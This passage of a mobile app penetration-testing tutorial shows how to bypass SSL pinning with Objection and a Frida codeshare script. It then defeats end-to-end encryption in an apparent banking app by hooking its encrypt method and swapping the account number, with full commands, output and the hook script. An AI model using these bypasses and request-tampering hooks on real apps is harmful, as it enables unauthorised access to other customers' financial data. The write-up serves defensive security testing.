[....] Waiting for iOS device to be connected
[....] Using 144040c0c6870c6775bac6c3ca56361ca0f08343 (N94AP, iPhone 4S, iphoneos, armv7) a.k.a. 'iPhone'.
------ Debug phase ------
Starting debug of 144040c0c6870c6775bac6c3ca56361ca0f08343 (N94AP, iPhone 4S, iphoneos, armv7) a.k.a. 'iPhone' connected through USB...
[ 0%] Looking up developer disk image
[ 95%] Developer disk image mounted successfully
[100%] Connecting to remote debug server
-------------------------
…
(lldb) connect
(lldb) run
success
2017-12-07 23:37:11.856 Vulnapp[240:8908] Frida: Listening on 127.0.0.1 TCP port 27042
(lldb)
-------------------------------------------------
We can now open another terminal for connecting the application through Objection as shown below:
-------------------------------------------------
zeq3ul-MacBook:Desktop zeq3ul$ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (iPhone: 9.3.5) [usb] #
-------------------------------------------------
########################
[0x02] - Roof & Tunnel
########################
Another well-known security protections on mobile app are "SSL Pinning" and "End-to-end encryption". SSL Pinning protection can prevent man-in-the-middle attack and malicious doers to intercept the traffic between application and backend API. End-to-end encryption is an extra protection for preventing MiTM when the SSL pinning protection is defeated because the request/response traffic will be encrypted. This chapter will show you how to bypass SSL pinning and beat the end-to-end encryption to conduct security testing on backend API.
+++++++++++++++++++++++++++++++
[0x02a] - You shall(not) pass
+++++++++++++++++++++++++++++++
In order to conduct security testing in term of authentication and authorization, session management, business logic and input validation on backend API, we need to bypass this protection for intercepting/modifying the traffic both request and response using any proxies. There are many automated tools (e.g. SSLUnpinning, SSL-TrustKiller, SSL-Kill-Switch2) can bypass SSL pinning (Rooted/Jail-broken device is required).
Q: What if dev know these tools and implement the detection ?
A: We may use the techniques that mentioned earlier (Patching or Runtime manipulation), but it would be better to use Objection or automated frida scripts to defeat this protection.
The Objection also has built-in frida scripts to bypass SSL pinning on both iOS and Android platforms. In this case, SSL pinning on iOS platforms was defeated using "ios sslpinning disable" command on Objection as shown below:
-------------------------------------------------
zeq3ul-MacBook:Desktop zeq3ul$ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (iPhone: 9.3.5) [usb] # ios sslpinning disable
Job: 71b65089-6f5c-4488-9291-4e0b01245042 - Starting
[4e0b01245042] [ios-ssl-pinning-bypass] [NSURLSession] Found 4 matches for URLSession:didReceiveChallenge:completionHandler:
[4e0b01245042] [ios-ssl-pinning-bypass] [NSURLConnection] Found 3 matches for connection:willSendRequestForAuthenticationChallenge:
[4e0b01245042] [ios-ssl-pinning-bypass] Hooking lower level methods: SSLSetSessionOption, SSLCreateContext, SSLHandshake and tls_helper_create_peer_trust
Job: 71b65089-6f5c-4488-9291-4e0b01245042 - Started
com.example.vulnapp on (iPhone: 9.3.5) [usb] # [4e0b01245042] [ios-ssl-pinning-bypass] [tls_helper_create_peer_trust] Called
[4e0b01245042] [ios-ssl-pinning-bypass] [tls_helper_create_peer_trust] Called
-------------------------------------------------
SSL pinning on Android platforms was also defeated using "android sslpinning disable" command on Objection as shown below:
-------------------------------------------------
zeq3ul@home:~/Desktop$ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (samsung: 7.0) [usb] # android sslpinning disable
Job: 349ae70f-61e3-4c0d-9e78-d04d78c477d0 - Starting
[d04d78c477d0] [android-ssl-pinning-bypass] Custom, Empty TrustManager ready
[d04d78c477d0] [android-ssl-pinning-bypass] OkHTTP 3.x Found
Job: 349ae70f-61e3-4c0d-9e78-d04d78c477d0 - Started
com.example.vulnapp on (samsung: 7.0) [usb] # [d04d78c477d0] [android-ssl-pinning-bypass] Overriding SSLContext.init() with the custom TrustManager
[d04d78c477d0] [android-ssl-pinning-bypass] OkHTTP 3.x check() called. Not throwing an exception.
[d04d78c477d0] [android-ssl-pinning-bypass] Overriding SSLContext.init() with the custom TrustManager
-------------------------------------------------
In case of bypassing SSL pinning on built-in objection doesn't work, we may use another automated script from Frida codeshare (https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/). The script can manipulate the SSLContext by re-pinning the application to our own CA as shown below:
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -U com.example.vulnapp
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Attaching...
Hello! This is the first time you're running this particular snippet, or the snippet's source code has changed.
Project Name: Universal Android SSL Pinning Bypass with Frida
Author: @pcipolloni
Slug: pcipolloni/universal-android-ssl-pinning-bypass-with-frida
Fingerprint: 0a7771bd4f6cba7d0e230552fede02b4d1585fd9f19cc1f21a51aa2a1f417e98
URL: https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
Are you sure you'd like to trust this project? [y/N] y
Adding fingerprint 0a7771bd4f6cba7d0e230552fede02b4d1585fd9f19cc1f21a51aa2a1f417e98 to the trust store! You won't be prompted again unless the code changes.
[Android Emulator 5554::com.example.vulnapp]->
[.] Cert Pinning Bypass/Re-Pinning
[+] Loading our CA...
[o] Our CA Info: CN=PortSwigger CA, OU=PortSwigger CA, O=PortSwigger, L=PortSwigger, ST=PortSwigger, C=PortSwigger
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore...
[+] Our TrustManager is ready...
[+] Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.init()...
[o] App invoked javax.net.ssl.SSLContext.init...
[+] SSLContext initialized with our custom TrustManager!
[o] App invoked javax.net.ssl.SSLContext.init...
[+] SSLContext initialized with our custom TrustManager!
...
-------------------------------------------------
The HTTPs request and response traffic will be shown in Burp Suite proxy !!
++++++++++++++++++++++++++++++
[0x02b] - You shall(not) see
++++++++++++++++++++++++++++++
Recently, many application start to implement another level of control to defeat traffic tampering and man-in-the-middle threat, an end-to-end encryption on application layer (mostly HTTP). This make our job harder because even we have managed to bypass jailbreak detection + ssl pinning and try to setup the man-in-the-middle proxy to intercept the traffic we still cannot see the actual parameter from a request and response between device and the server as the application layer data itself also encrypted.
So we need to find the way to working on it, one way of doing so is to reverse engineer the application and try to find their methods of encoding/encrypting the data then try to decode/decrypt them to get the plaintext. But this might take some (or long) time to figure out the whole process especially when dealing with obfuscated code. Another way is to ask for client to remove the encryption for us which sometime this is not possible for whatever reasons.
That's when we can (again) utilizing run time manipulation with dynamic instrumentation tools such as frida to circumvent such controls. As we know that the methods of a specific class can be traced using Macro's frida script, we can try to trace for a method use to perform the encryption. The idea was to manipulate the plaintext before they turn into cipher and send out to the server. Because we think that the parameter values definitely have to be constructed in a form of plaintext before encrypted and sending out to server.
The function we gonna demonstrate here is the function of a mobile banking application that shows account summary of current login user. Also, the UI did not allowed user to change an account number or any information.
First we tried to intercept the traffic using Burp Suite proxy as normal. But the body of traffic we intercepted from the was a URL+base64 encoded string which does not seems to be able to decoded to readable text.
-----------HTTP REQUEST------------
POST /api/v1/account/summary HTTP/1.1
...
iWuuTQmWa6uXJns3zO6BNNPfdfHjSj9nRPs%2FjQhxf%2FieJqsh%2BO%2FvEU5YxeA9GJKbNL%2F0sLK8Novj%0A7%2BNuMPH2kBZ5cleljzsaffGq%2FiZDORYTV9csiY%2BmG%2FjvYI6WqpPn%0A
-----------------------------------
The server also responded with the similar thing and the strings also change every time we issue a new request so we think the application has implement some kind of encryption.
-----------HTTP RESPONSE-----------
HTTP/1.1 200 OK
...
a+AkYTvbAwOK7ueCcY6TxtIxMqba0pSBpBjR+bP7pu7jXfrAOgYXHklq0CMou05WJRl3WPn/DMb/throQEmdrD6YcPNMHFo+y4/tIccPHUf/eepPTJQqVKBr0WohD5Ev3kPiuo9G6NjuS3343bzXL/5GAD7X3qYQfoKfTSd1FH87Q1Jm4V3hegesy7tVcK1GhOrbIgRtdNiYvSRxLgEs5VY0yISqnROe4GHSIXlT9tf1XsA0bqdjNI1kJwgk3IVAkQdIHCUlwfXUrSV6EJ8SBw==
-----------------------------------
Next what we did was to find the class responsible for encrypting the message. This could be done by using frida tracing through "raptor_frida_android_trace.js" in order to identify classes/methods which were used for encrypting the message while the app performing the function.
-------------------------------------------------
frida -U com.example.vulnapp -l raptor_frida_android_trace.js --no-pause
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
[Android Emulator 5554::com.example.vulnapp]-> Tracing com.example.vulnapp.Extend_Main$1.onClick [1 overload(s)]
Tracing com.example.vulnapp.E2e.access$200 [1 overload(s)]
Tracing com.example.vulnapp.E2e.alertText [1 overload(s)]
Tracing com.example.vulnapp.E2e.createHmac [1 overload(s)]
Tracing com.example.vulnapp.E2e.encrypt [1 overload(s)]
Tracing com.example.vulnapp.E2e.generateAESKey [1 overload(s)]
Tracing com.example.vulnapp.E2e.isNetworkAvailable [1 overload(s)]
Tracing com.example.vulnapp.E2e.afterRetreiverKeyExchange [1 overload(s)]
Tracing com.example.vulnapp.E2e.decrypt [1 overload(s)]
Tracing com.example.vulnapp.E2e.hmacSha256 [1 overload(s)]
Tracing com.example.vulnapp.E2e.init [1 overload(s)]
Tracing com.example.vulnapp.E2e.onClick [1 overload(s)]
Tracing com.example.vulnapp.E2e.onCreate [1 overload(s)]
...
*** entered com.example.vulnapp.E2e.encrypt
arg[0]: [object Object]
arg[1]: [object Object]
retval: x+wc8M4vAXDQSA7eAT0/l4a5I1v6rxDB0j4TmLQqaqKjbli2KJ5u+GD7rs/ThQylb5Ym/zDaW3bk6ztA3lsp2jwC3zWuJs/vZwLSPdFwQCPne2IKSBHN21d547HylkZi
*** exiting com.example.vulnapp.E2e.encrypt
-------------------------------------------------
Initially, Frida tracer hooked whole classes/methods under application packages name (com.example.vulnapp) and we found the classes responsible for encrypting a message so we scoped down to the method to looking for an actual plain request.
As the tracing result, encryption method took 2 objects as arguments. Note that return value (retval) of encryption method was the cipher similar to what we found from interception proxy. Hence, the next step was to find out what those arguments were. Modifying was needed on "raptor_frida_android_trace.js" by converting the arguments object into string through "JSON.stringify()" for printing out object's value as shown below:
----------raptor_frida_android_trace.js----------
...
// print args
if (arguments.length) console.log()
for (var j = 0; j < arguments.length; j++) {
try {
console.log('arg[' + j + ']: ' + JSON.stringify(arguments[j]))
} catch (e) {
console.log('arg[' + j + ']: ' + arguments[j])
}
}
...
--------------------------------------------------
Once the frida tracer script was modified, new result of tracing was shown below:
--------------------------------------------------
*** entered com.example.vulnapp.E2e.encrypt
arg[0]: [93,6,87,92,64,-63,-92,17,5,84,-80,32,125,-39,98,9,-74,113,40,87,67,-24,-11,-56,81,-45,2,-50,-102,-105,-20,-59]
arg[1]: [123,34,116,121,112,101,34,58,34,48,48,48,49,48,48,50,34,44,34,99,105,100,34,58,34,49,49,48,48,48,48,50,57,51,56,52,49,34,125]
retval: s9uOAVXQvyD7bxgZfPWGEaM+ki099foftC/6VRsDj/aiFW+vdFZFsQvqxHWBLLnmWC5FDCPs/Gigg3N7TxIQRJOX9jhC0cWIg2gKxw1tp5T+Kqli8eL97qIwndlA6JeK
*** exiting com.example.vulnapp.E2e.encrypt
--------------------------------------------------
As the result, the object turned into array of numbers which arg[0] contained both positive and negative numbers but arg[1] contained only positive numbers. One thing we noticed was the array of arg[1] always start with 123 and end with 125 which is the ASCII code of "{" and "}" respectively so it could be JSON string? Then we focused only the arg[1] and modified the script a little more to convert those array of numbers into string.
----------raptor_frida_android_trace.js----------
...
// print args
if (arguments.length) console.log()
for (var j = 0; j < arguments.length; j++) {
try {
if (j === 1) {
var argObj = JSON.parse(JSON.stringify(arguments[j]))
var str = ''
for (var i = 0; i < argObj.length; i++) {
str += String.fromCharCode(argObj[i]) || argObj[i].toString()
}
console.log('arg[' + j + ']: ' + str)
} else {
console.log('arg[' + j + ']: ' + arguments[j])
}
} catch (e) {
console.log('arg[' + j + ']: ' + arguments[j])
}
}
...
--------------------------------------------------
The code may looks a little bit awkward but its worked :p, and by running the script, we got the following output.
--------------------------------------------------
*** entered com.example.vulnapp.E2e.encrypt
arg[0]: [object Object]
arg[1]: arg[1]: {"type":"0001002","cid":"110000293841"}
retval: 6a2ZSUTMH9Wo4sXno4dQPHSKnXEKerhBa2TjM0eADEU02BmbcpIS+YqJvKYFyLtzo+lSJzZ7gW36affjTmTf5H49sMeYxLa1bs3oM813+9svGcP97Wrn8jwZq4Sdd/EZ
*** exiting com.example.vulnapp.E2e.encrypt
--------------------------------------------------
We finally found the plaintext JSON. But why they were in the form of that ASCII array, we verified it with decompiled code and found that the method has the following signature and return type:
--------------------E2e.class---------------------
...
private String encrypt(byte[] aesKey, byte[] plainReq) ...
...
--------------------------------------------------
The method had the second argument called "plainReq" with type of byte array. That was the reason why they were in the object form (as seen by JS). The final step was to write the frida script that manipulate a parameter value for us.
-------------frida_manipulate_e2e.js---------------
Java.perform(function () {
var E2eClass = Java.use('com.example.vulnapp.E2e')
E2eClass.encrypt.implementation = function () {
var curAcc = '110000293841'
var newAcc = '210000293903'
var a = JSON.parse(JSON.stringify(arguments[1]))
var s = ''
for (var i = 0; i < a.length; i++) {
s += String.fromCharCode(a[i])
}
var r = s.replace(curAcc, newAcc).split('')
var p = []
r.forEach(function (c) {
p.push(c.charCodeAt(0))
})
console.log('\n\nOriginal Request: ' + s)
console.log('New Request: ' + s.replace(curAcc, newAcc))
return this.encrypt(arguments[0], p)
}
})
--------------------------------------------------
By replacing the argument values passing to the method we could manipulate value of parameter before sending to the backend API and found that the server did not properly verify the account number which led us to retrieve information on any users by just changing the "cid" parameter as output below.
--------------------------------------------------
frida -U com.example.vulnapp -l frida_manipulate_e2e.js --no-pause
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
[Android Emulator 5554::com.example.vulnapp]->
Original Request: {"type":"0001002","cid":"110000293841"}
New Request: {"type":"0001002","cid":"210000293903"}
--------------------------------------------------
From the result, were able to test the rest of the communication between device and the backend API using mentioned technique. Also, we could use this technique to identify another vulnerabilities on another functions. This means the developer did not aware of such technique and overlooked the fundamental controls that can actually secure the app.
Even though a mobile applications now have more requirements on defense in depth mechanism such as SSL pinning, end-to-end encryption, insecure environement detection etc. the most important thing to make app (reasonably) secure is to make sure that all of the fundamental controls (e.g. Input validation, Authentication and authorisation on Backend API) are in place to prevent flaws at the root cause.
"Don't underestimate the power of the Dark Side!" - Darth Vader
######################
[0x03] - Special Thx
######################
L@mp4rd, RailDex, 2600 Thailand, Exploit-db.com